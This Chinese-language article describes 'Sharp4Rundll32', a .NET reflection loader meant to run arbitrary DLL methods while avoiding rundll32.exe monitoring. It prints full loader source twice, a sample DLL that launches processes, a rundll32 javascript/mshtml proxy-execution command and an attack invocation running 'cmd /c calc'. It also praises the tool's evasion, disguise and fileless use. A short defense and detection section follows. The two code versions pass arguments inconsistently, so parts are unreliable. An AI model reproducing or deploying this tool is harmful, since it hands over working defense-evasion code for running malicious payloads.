Sharp4Rundll32:一款通过.NET反射实现Rundll32功能绕过安全防护的工具
字数 1647 2025-08-22 12:23:24
Sharp4Rundll32:通过.NET反射实现Rundll32功能绕过安全防护的技术详解
一、技术背景与原理
1.1 Rundll32.exe的功能与安全风险
Rundll32.exe是Windows系统中位于C:\Windows\System32目录下的重要可执行文件,其主要功能是加载并执行动态链接库(DLL)中的指定函数。标准调用格式为:
rundll32.exe <DLL路径>, <函数名> [参数]
典型合法用途:
- 调用Shell32.dll中的Control_RunDLL函数打开控制面板:
rundll32.exe shell32.dll,Control_RunDLL desk.cpl
安全风险:
攻击者常利用Rundll32执行恶意DLL中的代码,例如:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('hello,dotNet');
此命令会执行嵌入的JavaScript代码,弹出消息框。
1.2 .NET反射技术基础
反射是.NET框架提供的强大功能,允许在运行时动态获取类型信息并执行操作,核心特点包括:
- 动态加载:无需提前绑定,运行时加载程序集
- 完全访问:可获取类、方法、属性、字段等所有成员信息
- 动态调用:可创建实例、调用方法和修改字段值
核心命名空间:System.Reflection
二、关键技术实现
2.1 程序集加载方法
.NET提供多种程序集加载方式,关键区别如下:
| 方法 | 描述 | 适用场景 |
|---|---|---|
Assembly.LoadFrom |
加载指定路径的程序集及其依赖 | 需要完整路径 |
Assembly.LoadFile |
仅加载指定文件,不处理依赖 | 精确控制加载 |
代码示例:
using System.Reflection;
Assembly assembly = Assembly.LoadFrom("Sharp4Library.dll");
// 或
Assembly assembly = Assembly.LoadFile(@"C:\Path\To\Sharp4Library.dll");
2.2 反射调用完整流程
-
获取类型信息:
Type specificType = assembly.GetType("Sharp4Library.Class1"); -
创建实例(非静态方法需要):
ConstructorInfo ctor = type.GetConstructor(new Type[] { typeof(int), typeof(string) }); object instance = ctor.Invoke(new object[] { 42, "Hello" }); -
获取方法信息:
MethodInfo method = type.GetMethod("Run"); -
方法调用:
- 静态方法:
method.Invoke(null, new object[] { arg1, arg2 }); - 实例方法:
object result = method.Invoke(instance, new object[] { arg1, arg2 });
- 静态方法:
2.3 Sharp4Rundll32实现详解
核心功能类结构:
class Program
{
public static void Main(string[] args)
{
// 参数验证和解析
if (args.Length < 4) {
Console.WriteLine("用法: 程序路径.dll 命名空间 类名 方法名 [参数]");
return;
}
// 参数提取
string fullPath = args[0];
string namespaceName = args[1];
string className = args[2];
string methodName = args[3];
string[] methodArgs = args.Length > 4 ? args.Skip(4).ToArray() : new string[0];
// 核心加载逻辑
StdLoad(fullPath, namespaceName, className, methodName, methodArgs);
}
private static void StdLoad(string path, string nameSpace,
string className, string method,
string[] arguments)
{
// 程序集加载和错误处理
Assembly assembly = null;
try {
assembly = Assembly.LoadFile(Path.GetFullPath(path));
} catch (Exception ex) {
// 详细错误处理逻辑...
}
// 获取所有命名空间并筛选
var namespaces = (from t in assembly.GetTypes()
select t.Namespace).Distinct().ToArray();
// 反射调用目标方法
foreach (string ns in namespaces) {
if (ns == nameSpace) {
try {
Type type = assembly.GetType(ns + "." + className);
MethodInfo methodInfo = type.GetMethod(method);
object result = methodInfo.Invoke(null, arguments);
Console.WriteLine($"[+] 调用结果: {result}");
} catch (Exception ex2) {
Console.WriteLine($"调用失败: {ex2.Message}");
}
}
}
}
}
三、实际应用示例
3.1 示例DLL结构
假设存在Sharp4Library.dll,包含以下代码:
namespace Sharp4Library
{
public class Class1
{
public static string Run(string command, string arguments)
{
System.Diagnostics.Process.Start(command, arguments);
return $"已执行: {command} {arguments}";
}
}
}
3.2 攻击模拟调用
执行以下命令将弹出计算器:
Sharp4Rundll32.exe Sharp4Library.dll Sharp4Library Class1 Run cmd.exe /c calc
3.3 执行流程解析
- 加载
Sharp4Library.dll程序集 - 查找
Sharp4Library.Class1类型 - 获取
Run方法信息 - 使用参数
"cmd.exe"和"/c calc"调用方法 - 方法内部通过
Process.Start启动计算器
四、防御与检测建议
4.1 防御措施
-
代码签名验证:
- 验证加载DLL的数字签名
- 使用StrongNameIdentityPermission限制加载
-
反射权限控制:
new ReflectionPermission(ReflectionPermissionFlag.RestrictedMemberAccess) -
沙箱运行:
- 在低权限环境中执行反射操作
- 使用AppDomain隔离
4.2 检测方法
-
行为监控:
- 监控非标准程序集的动态加载
- 记录反射调用的敏感方法
-
静态分析:
- 检测可疑的反射模式代码
- 识别非常规的方法调用链
-
日志审计:
- 记录所有Assembly.Load操作
- 监控MethodInfo.Invoke调用
五、技术总结
5.1 技术优势
-
规避检测:
- 不依赖rundll32.exe,避免行为监控
- 动态加载规避静态分析
-
灵活性高:
- 可调用任意DLL中的方法
- 参数完全可控
-
隐蔽性强:
- 可伪装成合法.NET程序
- 无文件落地可能
5.2 潜在风险
-
权限提升:
- 可能绕过代码访问安全(CAS)限制
- 可调用高权限组件
-
持久化威胁:
- 易于集成到恶意软件中
- 难以彻底清除
-
供应链攻击:
- 可劫持合法DLL加载过程
- 可伪装成正常组件更新
附录:完整代码实现
using System;
using System.IO;
using System.Linq;
using System.Reflection;
class Sharp4Rundll32
{
static void Main(string[] args)
{
if (args.Length < 4)
{
Console.WriteLine("Usage: Sharp4Rundll32.exe <DLL路径> <命名空间> <类名> <方法名> [参数...]");
Console.WriteLine("Example: Sharp4Rundll32.exe MyLib.dll MyNamespace MyClass Run cmd /c calc");
return;
}
try
{
string dllPath = Path.GetFullPath(args[0]);
string ns = args[1];
string className = args[2];
string methodName = args[3];
string[] parameters = args.Length > 4 ? args.Skip(4).ToArray() : new string[0];
Assembly asm = Assembly.LoadFile(dllPath);
Type targetType = asm.GetType($"{ns}.{className}");
if (targetType == null)
{
Console.WriteLine($"[!] 类型 {ns}.{className} 未找到");
return;
}
MethodInfo method = targetType.GetMethod(methodName);
if (method == null)
{
Console.WriteLine($"[!] 方法 {methodName} 未找到");
return;
}
object result = method.Invoke(
method.IsStatic ? null : Activator.CreateInstance(targetType),
parameters.Length > 0 ? new object[] { parameters } : null);
Console.WriteLine($"[+] 方法调用成功. 返回值: {result ?? "void"}");
}
catch (Exception ex)
{
Console.WriteLine($"[!] 错误: {ex.Message}");
Console.WriteLine(ex.StackTrace);
}
}
}
参考文献
- Microsoft Docs - Reflection in .NET
- OWASP - .NET Security Cheat Sheet
- MITRE ATT&CK - T1127: Trusted Developer Utilities Proxy Execution
- Microsoft Docs - Assembly.LoadFile Method
- Microsoft Docs - MethodInfo.Invoke Method